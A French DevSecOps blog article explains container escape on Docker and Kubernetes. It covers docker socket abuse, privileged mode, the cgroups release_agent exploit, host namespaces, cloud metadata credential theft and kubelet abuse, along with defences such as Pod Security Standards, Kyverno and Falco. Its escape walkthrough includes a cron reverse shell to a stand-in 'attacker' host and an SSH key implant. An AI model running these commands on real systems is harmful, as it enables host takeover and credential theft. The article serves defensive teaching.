DevSecOps

Container escape : explication technique 2026

Container escape 2026 : techniques docker socket, capabilities CAP_SYS_ADMIN, privileged mode, cgroups release_agent, CVE kernel et contre-mesures runtime.

Naim Aouaichia
17 min de lecture
  • Container escape
  • Docker
  • Kubernetes
  • Capabilities
  • Namespaces
  • cgroups
  • Runtime security
  • Falco
  • Pod Security Standards
  • Container security

Un container escape désigne toute technique permettant à un processus s'exécutant à l'intérieur d'un conteneur (Docker, containerd, CRI-O) de sortir de son isolement pour accéder à l'hôte, à d'autres containers, ou à des ressources restreintes. Un conteneur n'est pas une VM : il partage le kernel Linux avec l'hôte et repose sur 3 primitives de l'isolation — namespaces (isolation de la vue des ressources), cgroups (limitation consommation), capabilities (sous-ensemble des droits root). Plus de 80 % des escapes observés 2024-2026 exploitent des défauts de configuration, pas des CVE zero-day : privileged mode, docker socket mounté (/var/run/docker.sock), capabilities dangereuses (CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH, CAP_SYS_MODULE), host namespaces (hostPID, hostNetwork, hostIPC), volumes host dangereux (/, /proc, /sys, /var/log). Les CVE kernel et runtime ajoutent une couche moins fréquente mais très impactante : runc CVE-2019-5736, Dirty Pipe CVE-2022-0847, cgroups release_agent CVE-2022-0492, Dirty Pipe-like CVE-2022-2602. Les défenses effectives 2026 sont la Pod Security Standards restricted (Kubernetes 1.25+), seccomp profiles par défaut, AppArmor/SELinux enforcement, rootless containers (Podman, Docker rootless), sandboxes (gVisor, Kata Containers) pour workloads non-trusted, et runtime detection via Falco (CNCF graduated 2024) ou Tetragon (Isovalent). Cet article détaille l'architecture d'isolation, les 8 techniques d'escape classiques avec commandes réelles, le focus Kubernetes (hostPath, cloud metadata abuse), les contre-mesures par niveau de maturité, et la checklist d'audit cluster. Sources : NIST SP 800-190 (Container Security), MITRE ATT&CK for Containers v15, CNCF Cloud Native Security whitepaper 2022, papiers SpecterOps et Aqua Security Research 2020-2024.

1. Architecture d'isolation : pourquoi les escapes existent

Comprendre l'architecture conteneur est prérequis pour comprendre les escapes.

1.1 Les 3 primitives Linux de l'isolation

PrimitiveRôleIntroduction kernel
NamespacesIsolation de la vue (PID, network, mount, user, UTS, IPC, cgroup, time)2.6.24 (2008) à 5.6 (2020)
Cgroups v1/v2Limitation et accounting des ressources (CPU, mémoire, IO, devices)2.6.24 (2008), v2 à 4.5 (2016)
CapabilitiesSous-ensemble des droits root (40+ capabilities distinctes)2.2 (1999)

Autres couches de défense : seccomp (filtrage syscalls), AppArmor ou SELinux (Mandatory Access Control), user namespaces (remapping uid 0 container → uid non-privilégié host).

1.2 Le kernel partagé : vulnérabilité fondamentale

Contrairement à une VM qui a son propre kernel invité isolé par un hyperviseur, un conteneur partage le kernel de l'hôte. Un bug kernel exploitable depuis un user namespace (Dirty Pipe, Dirty COW) permet potentiellement d'escape n'importe quel conteneur non-sandbox.

C'est la raison fondamentale de l'existence de sandboxes type gVisor (user-space kernel en Go) et Kata Containers (vraie VM légère per-pod), qui restaurent la frontière kernel entre conteneur et hôte.

1.3 Ce qui ne change pas avec un conteneur

  • UID 0 (root) à l'intérieur du conteneur reste mappé à UID 0 de l'hôte (sauf si user namespaces activés).
  • Un processus avec CAP_SYS_ADMIN a des capabilities utilisables même cloisonné.
  • Les montages de systèmes de fichiers host sont accessibles tels quels.
  • Les sockets Unix du host sont accessibles si montés.

2. Les 8 techniques d'escape classiques 2026

Classification par fréquence observée dans les audits CNCF et rapports Aqua Security Research 2023-2024.

2.1 Docker socket mount (le plus fréquent)

Principe : monter /var/run/docker.sock dans un conteneur donne à son processus les droits Docker de l'hôte (créer, mounter, supprimer d'autres containers).

Identification

# Dans un container : vérifier la présence du socket Docker
ls -la /var/run/docker.sock
# Si présent : escape possible en une commande

Exploitation

# Depuis le container ayant accès au socket, lancer un container privileged monté sur /
docker run --rm -it --privileged --pid=host --net=host \
  -v /:/host alpine chroot /host bash
 
# Résultat : shell root sur l'hôte

Contexte légitime historique : CI/CD builder qui build des images Docker. Alternatives 2026 : Kaniko (Google), Buildah, img, Docker rootless. Il n'y a plus de justification raisonnable en 2026.

Détection : policy admission controller (Kyverno, OPA Gatekeeper) qui refuse tout pod avec mount /var/run/docker.sock.

2.2 Privileged mode

Principe : le flag privileged: true (Kubernetes securityContext.privileged: true, Docker --privileged) désactive quasi toutes les protections : toutes les capabilities, tous les devices, AppArmor et SELinux off, cgroups writable.

Identification

# Depuis un container : vérifier si privileged
capsh --print | grep -i cap_sys_admin
cat /proc/self/status | grep CapEff
# Si CAP_SYS_ADMIN est présent ET accès à tous les devices : probable privileged

Exploitation type : via cgroups release_agent (voir 2.4) ou via montage du filesystem host.

# Privileged escape via montage arbitraire
mkdir /tmp/host
mount /dev/sda1 /tmp/host  # ou le device correspondant au disque hôte
# Le filesystem hôte est accessible, écriture possible

Contexte légitime : plugins CNI (Calico, Cilium), GPU drivers, certains outils d'administration cluster. Moins de 1-2 % des workloads.

Contre-mesure : Pod Security Standards restricted depuis Kubernetes 1.25 refuse privileged: true.

2.3 Capabilities dangereuses ciblées

CAP_SYS_ADMIN : la plus puissante, permet mount arbitraire, setns vers autres namespaces, manipulation cgroups.

# Avec CAP_SYS_ADMIN, escape via mount d'un tmpfs et exploitation du release_agent cgroup
# Voir section 2.4 pour la chaîne complète

CAP_SYS_PTRACE : si partage PID namespace avec hôte (hostPID: true), permet d'attach à n'importe quel processus hôte.

# Si hostPID et CAP_SYS_PTRACE
gdb -p 1  # attach à init/systemd et injection de shellcode

CAP_DAC_READ_SEARCH : lecture de fichiers arbitraires hôte via open_by_handle_at (CVE-2022-2588 exploitait cela).

CAP_SYS_MODULE : chargement de kernel modules = game over immédiat.

CAP_SYS_RAWIO : accès direct à /dev/mem, ports hardware.

Audit

# Pour chaque container, vérifier les capabilities
kubectl get pods -A -o json | jq '.items[] | {
  name: .metadata.name,
  namespace: .metadata.namespace,
  caps: [.spec.containers[].securityContext.capabilities.add // []][0]
}'

2.4 cgroups release_agent (CVE-2022-0492)

Vulnérabilité : faille dans cgroups v1 release_agent feature. Un attaquant avec CAP_SYS_ADMIN (ou privileged) peut écrire dans un cgroup release_agent et forcer l'exécution d'un binaire arbitraire par le kernel, avec les droits root hôte.

Exploitation simplifiée (demande CAP_SYS_ADMIN + cgroups v1)

# 1. Monter un cgroup v1 en mode writable
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
 
# 2. Créer un sous-cgroup
mkdir /tmp/cgrp/x
 
# 3. Activer la notification release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
 
# 4. Écrire le path vers notre payload dans release_agent
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/payload" > /tmp/cgrp/release_agent
 
# 5. Créer le payload root
echo '#!/bin/sh' > /payload
echo 'ps aux > /tmp/escaped_output' >> /payload
chmod a+x /payload
 
# 6. Déclencher l'exécution
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Corrections : patch kernel 5.17 (février 2022). Backport Debian/Ubuntu 2022-2023.

Contre-mesure : bloquer CAP_SYS_ADMIN, utiliser cgroups v2 (pas de release_agent), Pod Security Standards restricted.

2.5 Host namespaces (hostPID, hostNetwork, hostIPC)

Principe : un pod Kubernetes avec hostPID: true, hostNetwork: true, ou hostIPC: true partage respectivement le namespace PID, network ou IPC de l'hôte.

hostPID exploitation

# Voir tous les processus hôte
ps auxf
 
# Si un binaire vulnérable tourne en root hôte, l'exploiter
# Si CAP_SYS_PTRACE présent : nsenter vers autre container
nsenter -t 1 -m -u -i -n -p -- bash

hostNetwork exploitation : accès direct à tous les services bindés sur l'hôte, y compris kubelet (port 10250), etcd, metadata cloud (169.254.169.254).

# Accès metadata cloud AWS depuis hostNetwork pod
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

Contre-mesure : Pod Security Standards baseline ou restricted refuse hostPID/Network/IPC.

2.6 Volume mounts dangereux

hostPath : monte un path de l'hôte dans le pod.

# Anti-pattern absolu
spec:
  volumes:
    - name: host-root
      hostPath:
        path: /  # monte tout le filesystem hôte
  containers:
    - name: app
      volumeMounts:
        - name: host-root
          mountPath: /host

Un attaquant peut écrire dans /host/etc/cron.d/malicious ou /host/root/.ssh/authorized_keys.

Autres paths dangereux :

  • /proc monté en écriture : accès à /proc/<pid>/environ, /proc/kcore, /proc/sys/.
  • /sys monté en écriture : accès cgroups, kernel parameters.
  • /var/log : écriture dans les logs hôte, pivot vers SIEM compromis.
  • /var/run : docker.sock (voir 2.1).
  • /etc : écriture dans sudoers, passwd, shadow.

Contre-mesure : Pod Security Standards restricted refuse hostPath et limite les volumes aux types emptyDir, configMap, secret, projected, downwardAPI, persistentVolumeClaim, ephemeral, csi.

2.7 CVE kernel exploitables depuis un container

Historique des principales CVE kernel permettant un escape depuis un user namespace.

CVEAnnéeVulnérabilitéImpact escape
CVE-2022-08472022Dirty PipeÉcriture arbitraire dans fichiers read-only, y compris setuid hôte
CVE-2016-51952016Dirty COWIdem (historique, patché depuis longtemps)
CVE-2022-25882022Buffer overflow CLS_ROUTE4LPE kernel depuis user namespace
CVE-2022-322502022Netfilter UAFLPE kernel depuis user namespace
CVE-2021-339092021Size_t-to-int seq_fileLPE via user namespaces
CVE-2023-49112023Looney Tunables glibcLPE local (utilisable dans container)
CVE-2024-10862024nf_tables UAFLPE kernel depuis user namespace

Stratégie défensive : patching kernel prioritaire, user namespaces rootless containers pour limiter la surface.

2.8 CVE runtime containers

runc CVE-2019-5736 : historique mais emblématique. Une image malveillante pouvait overwrite le binaire runc hôte lors du docker exec, obtenant persistence root.

containerd CVE-2022-23648 : accès fichiers hôte via symlink dans image.

runc CVE-2024-21626 (janvier 2024) : race condition permettant accès file descriptors hôte.

Contre-mesure : mises à jour régulières du runtime (runc, containerd, CRI-O), monitoring des CVE runtime.

3. Exemple complet : chaîne d'escape d'un container privileged

Scénario pédagogique end-to-end pour illustrer ce qu'un attaquant fait depuis un pod privileged.

# Pré-requis : pod avec securityContext.privileged: true
 
# Étape 1 : confirmation du privileged
capsh --print
# Output attendu : toutes les caps présentes, y compris cap_sys_admin
 
# Étape 2 : identifier le device racine hôte
ls -la /dev/ | grep -E "sda|nvme|vda"
# Output typique : /dev/nvme0n1p1 ou /dev/sda1
 
# Étape 3 : monter le filesystem hôte
mkdir -p /tmp/host
mount /dev/nvme0n1p1 /tmp/host
# Si échec, essayer les autres partitions, ou utiliser debugfs/exec
 
# Étape 4 : escape via le filesystem monté
# Option A : écrire dans authorized_keys d'un user hôte avec SSH
echo "ssh-ed25519 <attacker_pubkey>" >> /tmp/host/root/.ssh/authorized_keys
 
# Option B : planter un cron hôte
cat > /tmp/host/etc/cron.d/pwned << EOF
* * * * * root bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'
EOF
 
# Option C : nsenter directement dans le namespace init hôte
nsenter -t 1 -m -u -i -n -p -- bash
# Shell root hôte immédiat

Temps d'exploitation typique : 30 secondes à 3 minutes pour un attaquant préparé. C'est pourquoi la revue des pods avec privileged: true est la première urgence d'un audit cluster.

4. Focus Kubernetes : attaques spécifiques

Kubernetes introduit des surfaces d'attaque supplémentaires au-delà de Docker pur.

4.1 Compromise via metadata cloud

Scénario : pod avec hostNetwork: true (ou simplement accès au SDN interne qui route vers 169.254.169.254) peut interroger le metadata service cloud.

# AWS
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# Retourne AccessKeyId, SecretAccessKey, Token IAM du node
 
# GCP
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 
# Azure
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

Contre-mesure : IMDSv2 obligatoire sur AWS (bloque les requêtes sans token PUT, non-accessibles depuis un pod non-hostNetwork), networkPolicies Kubernetes bloquant l'accès à 169.254.169.254, workload identity (IRSA AWS, Workload Identity GCP, Azure AD Workload Identity) pour ne plus exposer le metadata node.

4.2 Abuse kubelet port 10250

Si un pod a accès réseau au node (hostNetwork ou subnet), le kubelet API port 10250 expose des endpoints debugging.

# Lister les pods sur le node
curl -k https://<node-ip>:10250/pods
 
# Exec dans un pod (si kubelet autorise anonymous)
curl -k "https://<node-ip>:10250/exec/<namespace>/<pod>/<container>?command=sh&input=1&output=1&tty=1"

Contre-mesure : --anonymous-auth=false sur kubelet, --authorization-mode=Webhook.

4.3 ServiceAccount token abuse

Par défaut, chaque pod monte le token JWT de son ServiceAccount dans /var/run/secrets/kubernetes.io/serviceaccount/token. Si le ServiceAccount a des permissions élevées, un attaquant dans le pod peut appeler l'API Kubernetes avec ce token.

# Depuis un pod compromis
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
 
# Lister tous les pods (si permissions permettent)
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/pods
 
# Déployer un pod privileged (si permissions permettent l'escape)
curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" -X POST \
  -H "Content-Type: application/yaml" \
  --data-binary @privileged_pod.yaml \
  https://kubernetes.default.svc/api/v1/namespaces/default/pods

Contre-mesure : automountServiceAccountToken: false par défaut, least privilege RBAC (voir Least privilege : définition), bound tokens (expiration courte, lié au pod).

5. Contre-mesures : stack défensive 2026

Stratégie en 4 couches complémentaires.

5.1 Couche 1 — Admission policies (prévention)

Refuser tout pod non-conforme avant déploiement.

  • Pod Security Standards restricted (Kubernetes 1.25+) : built-in, active via label namespace.
  • Kyverno ou OPA Gatekeeper : policies custom plus fines, ex refuser tout pod sans seccompProfile.
# Namespace en mode restricted
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

Ce label enforce automatiquement : pas de privileged, pas de hostPath, pas de hostNetwork/PID/IPC, runAsNonRoot obligatoire, seccomp profile obligatoire, pas de allowPrivilegeEscalation, capabilities drop ALL.

Policy Kyverno custom : refuser docker socket mount.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-docker-sock
spec:
  validationFailureAction: enforce
  background: true
  rules:
    - name: no-docker-sock
      match:
        any:
          - resources:
              kinds: [Pod]
      validate:
        message: "Mounting /var/run/docker.sock is forbidden"
        pattern:
          spec:
            =(volumes):
              - =(hostPath):
                  path: "!/var/run/docker.sock"

5.2 Couche 2 — Runtime hardening (réduction de surface)

  • seccomp profiles : filtrage syscalls. Profile par défaut Docker/Kubernetes bloque environ 60 syscalls dangereux.
  • AppArmor (Ubuntu, Debian) ou SELinux (RHEL, Fedora, Amazon Linux) : MAC strict.
  • Rootless containers : Podman natif, Docker rootless depuis 2020, user namespaces actifs.
  • Capabilities drop ALL + add minimum : supprimer toutes les caps puis ajouter explicitement (CAP_NET_BIND_SERVICE pour bind ports privilégiés inférieurs à 1024, rien de plus en général).
  • ReadOnlyRootFilesystem : monter le root FS en lecture seule, forcer les écritures dans des emptyDir explicites.
# securityContext complet restricted
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 10000
    runAsGroup: 10000
    fsGroup: 10000
    seccompProfile:
      type: RuntimeDefault
  containers:
    - name: app
      securityContext:
        allowPrivilegeEscalation: false
        privileged: false
        readOnlyRootFilesystem: true
        capabilities:
          drop: ["ALL"]

5.3 Couche 3 — Sandboxes pour workloads non-trusted

Pour les cas où l'on exécute du code potentiellement hostile (CI multi-tenant, plateformes user-generated code, certaines fonctions serverless) :

  • gVisor (Google, 2018) : user-space kernel en Go, overhead 10-30 % mais surface kernel réduite à quelques dizaines de syscalls.
  • Kata Containers (OpenInfra) : vraie VM légère per-pod via QEMU ou Firecracker, overhead 5-15 %.
  • AWS Firecracker : microVM ultra-rapide, utilisée par Lambda et Fargate.

Cas d'usage 2026 typiques : Google Cloud Run, AWS Fargate, GKE Sandbox, Vercel fonction, CI multi-tenant GitLab hosted runners.

5.4 Couche 4 — Runtime detection (détection et réponse)

  • Falco (CNCF graduated 2024) : règles eBPF détectant les comportements suspects (shell in container, mount arbitraire, ptrace, kernel module load, écriture /etc/shadow).
  • Tetragon (Isovalent, Cilium) : détection et enforcement eBPF natif, peut bloquer en plus de détecter.
  • Sysdig Secure, Aqua Runtime, Prisma Cloud Defender : commerciaux avec fonctionnalités avancées.

Exemple règle Falco escape detection

- rule: Container Privileged Running
  desc: Detect running a container in privileged mode
  condition: >
    container and
    container.privileged=true and
    not container.image.repository in (approved_privileged_images)
  output: >
    Privileged container started (container=%container.name
    image=%container.image.repository:%container.image.tag
    user=%user.name command=%proc.cmdline)
  priority: WARNING
  tags: [container, cis, mitre_privilege_escalation]

6. Matrice de mapping ATT&CK for Containers

MITRE ATT&CK for Containers v15 (2024) liste les techniques offensives en contexte conteneur. Mapping technique escape → ATT&CK.

Technique escapeATT&CK IDTactique
Docker socket mountT1613 Container and Resource DiscoveryDiscovery
Privileged mode + chrootT1611 Escape to HostPrivilege Escalation
Capabilities abuseT1611 Escape to HostPrivilege Escalation
cgroups release_agent CVE-2022-0492T1611 Escape to HostPrivilege Escalation
Host namespaces (hostPID/Network/IPC)T1611 Escape to HostPrivilege Escalation
Volume mounts (hostPath)T1611 Escape to HostPrivilege Escalation
Kernel CVE (Dirty Pipe)T1068 Exploitation for Privilege EscalationPrivilege Escalation
runc CVE-2019-5736T1611 Escape to HostPrivilege Escalation
Cloud metadata abuseT1552.005 Cloud Instance Metadata APICredential Access
Kubelet API abuseT1078.004 Valid Accounts Cloud AccountsInitial Access
ServiceAccount token abuseT1528 Steal Application Access TokenCredential Access

7. Checklist d'audit cluster Kubernetes escape

20 contrôles pour auditer la posture escape d'un cluster.

checklist_container_escape = {
    # Admission policies
    "pss_restricted_production": "Pod Security Standards restricted sur namespaces production",
    "kyverno_gatekeeper_deploy": "Kyverno ou OPA Gatekeeper déployé",
    "policy_no_privileged": "Policy refusant privileged: true",
    "policy_no_docker_sock": "Policy refusant hostPath /var/run/docker.sock",
    "policy_no_host_namespaces": "Policy refusant hostPID, hostNetwork, hostIPC",
 
    # Pod security
    "run_as_non_root": "runAsNonRoot true sur tous les workloads",
    "read_only_root_fs": "readOnlyRootFilesystem activé par défaut",
    "seccomp_profile": "seccompProfile RuntimeDefault ou custom actif",
    "capabilities_drop_all": "capabilities.drop ALL puis ajout minimum",
    "allow_privilege_escalation_false": "allowPrivilegeEscalation false",
 
    # IAM et ServiceAccounts
    "sa_automount_false": "automountServiceAccountToken false par défaut",
    "rbac_least_privilege": "RBAC least privilege audité via rakkess",
    "imds_v2_enforced": "IMDSv2 enforced sur nodes AWS",
    "workload_identity": "Workload Identity (IRSA, WI GCP, Azure AD WI) en place",
 
    # Kernel et runtime
    "kernel_patches_apt": "Kernel patches automatiques auto-apt ou équivalent",
    "runc_version_check": "runc version monitorée, CVE checkées",
    "containerd_version_check": "containerd version monitorée",
    "apparmor_selinux_enforcing": "AppArmor ou SELinux enforcing actif",
 
    # Runtime detection
    "falco_deployed": "Falco déployé sur tous les nodes",
    "falco_rules_tuned": "Règles Falco escape activées et tunées",
    "siem_integration": "Alerts Falco routées vers SIEM",
}
 
# Viser 90 plus pour cent pour cluster production mature 2026

8. Priorisation des remédiations

Si on part de zéro, ordre d'attaque pragmatique sur 3-6 mois.

8.1 Semaine 1-4 : quick wins

  • Audit des pods avec privileged: true et hostPID/Network/IPC, remédiation prioritaire.
  • Audit des mounts /var/run/docker.sock, basculement vers Kaniko ou Buildah.
  • Activation IMDSv2 sur tous les nodes AWS.

8.2 Mois 2-3 : hardening

  • Déploiement Kyverno ou OPA Gatekeeper avec 5-10 policies de base.
  • Activation Pod Security Standards restricted en mode audit puis enforce sur namespaces production.
  • Deploy Falco avec ruleset par défaut.

8.3 Mois 4-6 : runtime et detection

  • Tuning règles Falco, intégration SIEM.
  • RBAC audit via rakkess et kubescape.
  • Workload Identity pour supprimer l'exposition metadata.
  • Formation équipes dev sur les antipatterns.

8.4 Mois 6-12 : maturité

  • Évaluation gVisor ou Kata Containers pour workloads sensibles.
  • Policy as Code complet avec tests CI.
  • Drills incident response escape (table-top + simulations).

Points clés à retenir

  • Container escape = sortir de l'isolement d'un container vers l'hôte ou d'autres containers. Un container n'est pas une VM : kernel partagé avec l'hôte.
  • 80 % des escapes observés exploitent des défauts de configuration, pas des zero-day kernel. Les 8 techniques classiques : docker socket, privileged mode, capabilities dangereuses (CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, CAP_DAC_READ_SEARCH), cgroups release_agent (CVE-2022-0492), host namespaces (hostPID/Network/IPC), volume mounts dangereux (hostPath), CVE kernel (Dirty Pipe CVE-2022-0847), CVE runtime (runc CVE-2019-5736, CVE-2024-21626).
  • Kubernetes spécifique : cloud metadata abuse (IMDSv2 contre-mesure), kubelet port 10250 anonymous, ServiceAccount token abuse avec permissions élevées.
  • Stack défensive 2026 en 4 couches : admission policies (Pod Security Standards restricted, Kyverno/Gatekeeper), runtime hardening (seccomp, AppArmor/SELinux, rootless, cap drop), sandboxes pour workloads non-trusted (gVisor, Kata Containers, Firecracker), runtime detection (Falco CNCF graduated, Tetragon).
  • Kubernetes 1.25+ : Pod Security Standards restricted par label namespace est la première action.
  • Workload Identity (AWS IRSA, GCP WI, Azure AD WI) supprime l'exposition metadata node.
  • Mapping ATT&CK for Containers v15 : T1611 Escape to Host est la tactique centrale, T1552.005 Cloud Metadata, T1528 Token theft.
  • Roadmap : quick wins semaine 1-4 (audit privileged, socket, IMDSv2), hardening mois 2-3 (Kyverno, PSS, Falco), runtime detection mois 4-6 (tuning, SIEM, RBAC), maturité 6-12 mois (sandboxes, drills).

Pour aller plus loin

Questions fréquentes

  • Qu'est-ce qu'un container escape concrètement ?
    Un container escape désigne toute technique permettant à un processus s'exécutant à l'intérieur d'un conteneur Docker, containerd ou CRI-O de sortir de son isolement pour accéder à l'hôte, à d'autres containers, ou à des ressources restreintes. Un conteneur n'est pas une VM : il partage le kernel Linux avec l'hôte et repose sur 3 primitives (namespaces, cgroups, capabilities) pour l'isolation. Un escape exploite une faiblesse de l'une de ces primitives via : défaut de configuration (privileged, docker socket, hostPath), capability dangereuse (CAP_SYS_ADMIN, CAP_SYS_PTRACE), abus de cgroups (release_agent CVE-2022-0492), CVE kernel (Dirty Pipe CVE-2022-0847), CVE runtime (runc CVE-2019-5736). En pratique 2026, plus de 80 pourcent des escapes observés exploitent des défauts de configuration, pas des CVE zero-day.
  • Un container privileged est-il vraiment dangereux ?
    Oui, équivalent à un accès root sur l'hôte. Le flag privileged (`--privileged` Docker, `securityContext.privileged: true` Kubernetes) désactive quasi toutes les protections : donne toutes les capabilities Linux, accès à tous les devices host, désactive AppArmor et SELinux, monte cgroups en écriture. Un processus dans un container privileged peut chrooter vers /host via `nsenter`, monter des volumes arbitraires, charger des kernel modules, exécuter `modprobe`. En 1-5 commandes, l'attaquant obtient un shell root sur l'hôte. L'usage légitime du privileged est très restreint (1-2 pourcent des workloads : CNI plugins, GPU drivers, certains outils d'administration cluster) ; dans la majorité des cas, des capabilities précises (CAP_NET_ADMIN seul, CAP_SYS_TIME seul) remplacent avantageusement privileged.
  • Pourquoi ne pas monter /var/run/docker.sock dans un conteneur ?
    Parce que monter le socket Docker dans un container équivaut à donner à son process tous les droits Docker de l'hôte : créer d'autres containers, les monter en privileged, mounter le filesystem hôte. L'escape est trivial : depuis le container qui a le socket, lancer `docker run --privileged -v /:/host alpine sh` pour obtenir un shell root sur l'hôte. Usage historique du pattern : CI/CD builder qui build des images Docker (GitLab runner Docker-in-Docker, certains workflows CI). Alternatives sécurisées 2026 : Kaniko (Google), Buildah, img (Jess Frazelle), Docker rootless. Aucune justification raisonnable ne reste pour monter /var/run/docker.sock en production en 2026 ; un scanner policy Kyverno ou OPA Gatekeeper doit le refuser systématiquement.
  • Quelles capabilities Linux sont dangereuses dans un conteneur ?
    Par ordre de criticité sur 40+ capabilities Linux. 1) CAP_SYS_ADMIN (souvent appelée la quasi-root) : mount arbitraire, setns vers host namespaces, manipulation cgroups, exploitation du release_agent (CVE-2022-0492). 2) CAP_SYS_PTRACE : attach à un process hôte si partage PID namespace, injection de shellcode. 3) CAP_DAC_READ_SEARCH : lecture de tout fichier hôte avec CVE-2022-2588 ou open_by_handle_at. 4) CAP_DAC_OVERRIDE : écriture sur fichiers hôte via path traversal. 5) CAP_SYS_MODULE : chargement de kernel modules (game over immédiat). 6) CAP_NET_ADMIN : manipulation réseau hôte, peut affecter d'autres containers. 7) CAP_SYS_RAWIO : accès direct aux ports hardware et /dev/mem. Par défaut 2026, un conteneur Docker a 14 capabilities ; Pod Security Standards restricted Kubernetes en laisse 0 plus une whitelist minimale. Audit via `docker inspect` ou `kubectl get pod -o yaml`, outil de détection : Falco.
  • Comment Falco détecte-t-il les escapes en runtime ?
    Falco (CNCF graduated 2024) est un runtime security tool qui instrumente le kernel via eBPF (ou kernel module legacy) pour observer les syscalls et événements Kubernetes. Il charge un ensemble de règles YAML (ruleset par défaut Sysdig plus règles customs) et déclenche une alerte quand une règle matche. Exemples de règles escape-related livrées par défaut 2026. 1) Shell dans un container (typique post-exploitation). 2) Mount arbitraire depuis un container (CAP_SYS_ADMIN abuse). 3) Privilege escalation via setuid. 4) Écriture dans /etc/shadow depuis un container. 5) Attach ptrace vers un process hors container. 6) Chargement de kernel module depuis un container. Les événements remontent en JSON structuré vers un SIEM (Sentinel, Elastic Security, Splunk) ou via fluentd. Falco ne bloque pas, il détecte ; pour bloquer, coupler avec un admission controller (Kyverno, Gatekeeper) en amont et Tetragon (Isovalent) en runtime pour enforcement eBPF.
  • gVisor ou Kata Containers sont-ils utilisés en production France 2026 ?
    Adoption encore modérée mais en croissance. gVisor (Google, 2018) : user-space kernel en Go qui intercepte les syscalls, réduit drastiquement la surface d'attaque kernel au prix de 10-30 pourcent d'overhead performance. Utilisé par Google Cloud Run, GKE Sandbox, certaines plateformes serverless. Kata Containers (OpenInfra Foundation) : vraie VM légère per-pod via QEMU ou Firecracker, isolation hardware complète, overhead 5-15 pourcent. Utilisé par AWS Fargate (Firecracker techno historique proche), certaines banques pour multi-tenant strict. Cas d'usage 2026 typiques. 1) Plateformes multi-tenant public cloud où l'utilisateur exécute du code arbitraire (Google Cloud Run, AWS Lambda, Vercel). 2) Exécution de workloads non-trusted (CI/CD qui exécute du code de contributeurs externes). 3) Isolation renforcée pour workloads très sensibles (fintech, défense). Pour un cluster K8s interne d'entreprise classique, gVisor ou Kata n'est pas le chantier prioritaire ; Pod Security Standards restricted plus seccomp plus Falco couvrent 80 pourcent du risque à coût moindre.

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.